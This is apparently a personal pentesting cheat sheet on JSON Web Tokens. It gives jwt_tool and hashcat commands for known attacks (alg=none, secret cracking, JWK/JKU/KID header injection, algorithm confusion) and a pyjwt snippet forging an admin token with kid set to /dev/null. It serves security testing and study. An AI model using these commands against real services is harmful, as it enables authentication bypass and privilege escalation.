JSON Web Token (JWT)
JSON Web Token (JWT) are used to represent signed data. They are commonly used in for authentication and authorization.
The format is: <algo>.<data>.<signature>
. Each part is base64 encoded, so the final string is URL-safe while it can be easily decoded.
The data is signed using a secret key. If the secret key is compromised, everyone can sign messages π.
The signature is used to detect if data was tampered with.
They can be transferred and found in:
- π Headers (
Authorization: Bearer <JWT>
) - πͺ Cookies
- π URL Parameters
- πΌ Request Body
- ...
π JWT is a specification, JWS (mostly)/JWE are implementations.
JWT Tools
jwt-tools (Python)
You can use jwt-tools (5.4k β) to attack JWT:
$ git clone https://github.com/ticarpi/jwt_tool.git $HOME/tools/jwt_tool
$ chmod +x $HOME/tools/jwt_tool/jwt_tool.py
$ ln -s $HOME/tools/jwt_tool/jwt_tool.py $HOME/.local/bin/jwt_tool
$ jwt_tool -h
$ jwt_tool 'jwt' # decode
$ jwt_tool 'jwt' -T # encode
$ jwt_tool 'jwt' -I -pc claim -pv value
jwt.io (Website)
You can also use jwt.io.
JWT wordlists
A common handy wordlist is jwt-secrets.
$ wget "https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list"
Common JWT Attacks
JWT β Unverified Signature
It's possible for the signature to not be checked at all by the server.
$ jwt_tool 'jwt' -I -pc claim -pv value
JWT β Null Signature
If the signature algorithm is not verified, you may set it to 'none,' and remove the signature that is not required anymore.
$ jwt_tool 'jwt' -T -X a # attack 'algo=none'
π You can use none
, None
, NONE
, etc.
JWT β Weak Secret Key
The secret key may be weak and brute forced:
$ jwt_tool 'jwt' -C -d ./jwt.secrets.list # crack key
$ jwt_tool 'jwt' -T -p "key" # use secret key
$ jwt_tool 'jwt' -p "key" -S hs256 -I -pc claim -pv value
$ hashcat -m 16500 hash ./jwt.secrets.list
JWT β JWK Header Injection
An application may use the jwk
header to represent the RSA key used to sign the data. We may be able to inject our own RSA key.
$ jwt_tool 'jwt' -X i -T # attack 'jwk header injection'
$ jwt_tool 'jwt' -X i -T -hc kid -hv jwt_tool # with kid
$ jwt_tool 'jwt' -X i -I -hc kid -hv jwt_tool -pc claim -pv value
JWT β JKU Header Injection
The jku
header contains a URL or a filename used to fetch a key.
- When a asymmetric algorithm such as RS is used:
$ cat $HOME/.jwt_tool/jwttool_custom_jwks.json # upload to URL as jwks.json
$ jwt_tool -ju "URL/jwks.json" -X s -I -hc kid -hv jwt_tool -pc claim -pv value
π You may check: /jwks.json
, /.well-known/jwks.json
, etc. Refer to SSRF for insight (filtering, attacks, etc.) and setting up a grabber.
JWT β KID Header Injection
The kid header may be present in two scenarios. The first one is to define which key file contains the secret. The second usage is to determines which of the keys in the jku
we should use.
$ # The file "/dev/null" is empty so -p is ""
$ jwt_tool "" -I -hc kid -hv "/dev/null" -S hs512 -p "" -pc claim -pv value
β‘οΈ Refer to Path Traversal and my cheatsheet for more notes.
JWT β Algorithm Confusion Attack
When using RS256 algorithm, JWT uses the private key to sign the JWK and the public key to verify integrity. We may be able to perform a downgrade attack to HS256 and only use a public key for both.
$ jwt_tool 'jwt' -S hs256 -k public.key -T
You can compute the public key if you have two messages:
$ docker run -it ttervoort/jws2pubkey "JWT1" "JWT2"
Python JWT
The pyjwt (5.1k β) library can be used to manipulate JWT in Python. There are two unmaintained alternatives which are:
- python-jwt by GehirnInc (0.1k β, 2022 πͺ¦)
- python-jwt by D. Halls (0.2k β, 2023 πͺ¦) β has two CVEs
headers = {
'kid': '/dev/null'
}
payload = {
'role': 'admin',
'iat': int(datetime.datetime.now(datetime.UTC).timestamp())
}
To install it:
$ pip install pyjwt
To generate a JWT:
import jwt
token = jwt.encode(payload, '', algorithm='HS512', headers=headers)
To decode a JWT:
import jwt
payload = jwt.decode(token, '', algorithms=['HS512'])
π» To-do π»
Stuff that I found, but never read/used yet.
- PortSwigger JWT
- jwtcrack/jwt2john
cty
(if you can bypass the signature, to try to change the content type and perform deserialization/XXE attacks)x5c
(refer to related CVEs)
{
"kid": "jwt_tool",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "...",
"kid": "jwt_tool",
"n": "..."
}
}